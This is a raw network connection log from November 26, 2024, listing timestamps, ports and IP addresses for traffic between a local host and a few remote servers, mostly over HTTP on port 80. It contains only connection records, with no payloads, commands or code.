Nov 26, 2024 16:31:49.542825937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542840004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.542845964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542851925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542865038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.542876959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.542896032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542901993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542921066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.542926073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542932987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542957067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542963982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542969942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542970896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.542970896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.542974949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542987108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.542990923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542999029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543020010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543030024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543032885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.543042898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543050051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543056011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543061018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543075085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543083906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543093920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.543107033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543112993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543128967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543135881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543147087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543148994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.543153048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543174028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543179989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543195963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543198109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.543201923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543209076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543212891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.543215036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543229103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543236017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543242931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.543266058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543271065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543286085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543292046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543296099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.543298006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.543364048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.543364048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.546008110 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:49.546122074 CET	443	49865	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:49.549928904 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:49.549962044 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:49.550721884 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:49.550731897 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:49.551186085 CET	49865	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:49.551203966 CET	443	49865	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:49.551690102 CET	49865	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:49.551696062 CET	443	49865	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:49.607357025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607366085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607372046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607378006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607391119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607398033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607409000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607414961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607420921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607424974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.607426882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607433081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607440948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607454062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607460022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607462883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.607465982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607471943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607484102 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607498884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.607502937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607510090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607527018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607533932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607539892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607541084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.607546091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607551098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607558012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607563019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607568979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607578039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607593060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607624054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607626915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.607630014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607640982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607645988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607651949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.607669115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.607714891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.608341932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.608349085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.608386040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.716439962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.716454983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.716495037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.716501951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.716525078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.716548920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.716602087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.719028950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.719212055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.720072031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.720078945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.720104933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.720110893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.720115900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.720149994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.724634886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.724648952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.724773884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.726849079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.726861000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.726881981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.726887941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.726913929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.726912975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.726926088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.726943970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.726954937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.726960897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.726963043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.726985931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.726996899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.727001905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.727015972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.727024078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.727024078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.727046013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.727047920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.727055073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.727073908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.727077961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.727098942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.727123022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.737917900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.737970114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.737977982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.737992048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738008022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738013029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738022089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738038063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738044024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738056898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738065004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738070965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738095999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738101006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738102913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738102913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738122940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738127947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738130093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738137007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738147020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738151073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738157988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738176107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738177061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738183022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738204002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738209009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738214970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738228083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738239050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738250971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738255024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738276005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738281965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738306046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738307953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738318920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738337040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738343000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738349915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738359928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738367081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738374949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738396883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738404036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738409996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738415956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738432884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738435984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738439083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738449097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738473892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738480091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738481045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738500118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738504887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738522053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738560915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738567114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738571882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738578081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738585949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738598108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.738603115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738622904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.738631964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.739506006 CET	443	49886	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:49.739562035 CET	443	49886	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:49.739587069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739587069 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.739594936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739599943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739608049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739618063 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.739622116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739629030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739634991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739645958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739651918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739655972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.739658117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739662886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739670992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739675999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739681959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739689112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739695072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739696980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.739701033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739707947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739716053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739722967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739727974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739736080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739739895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.739741087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739748955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739753962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739759922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739765882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739770889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.739772081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739778042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739787102 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739798069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739804029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739808083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.739814043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739820004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.739836931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.739877939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.741687059 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:49.741976976 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:49.742001057 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:49.743588924 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:49.743710995 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:49.744018078 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:49.744184017 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:49.744189024 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:49.744240046 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:49.749617100 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.749634027 CET	443	49886	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:49.749727011 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.749751091 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.755053997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.755162001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.755203009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.755497932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.755505085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.755512953 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.755532980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.756300926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.756428003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.756704092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.757009029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.757292032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.757297993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.757350922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.758029938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.758090973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.758374929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.758752108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.758846045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.758853912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.759330988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.760164022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.760171890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.760294914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.760941982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.760951042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.761055946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.761846066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.761857986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.761931896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.762542963 CET	49901	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.762582064 CET	443	49901	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:49.762816906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.762829065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.762904882 CET	49901	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.762928009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.763631105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.763639927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.763699055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.764450073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.764460087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.764528036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.765161991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.765173912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.765275955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.765353918 CET	49901	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.765367031 CET	443	49901	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:49.765899897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.765909910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.766103029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.766609907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.766618967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.766756058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.767507076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.767518044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.767558098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.768335104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.768345118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.768400908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.769407988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.769431114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.769593954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.770287037 CET	80	49809	185.215.113.206	192.168.2.6
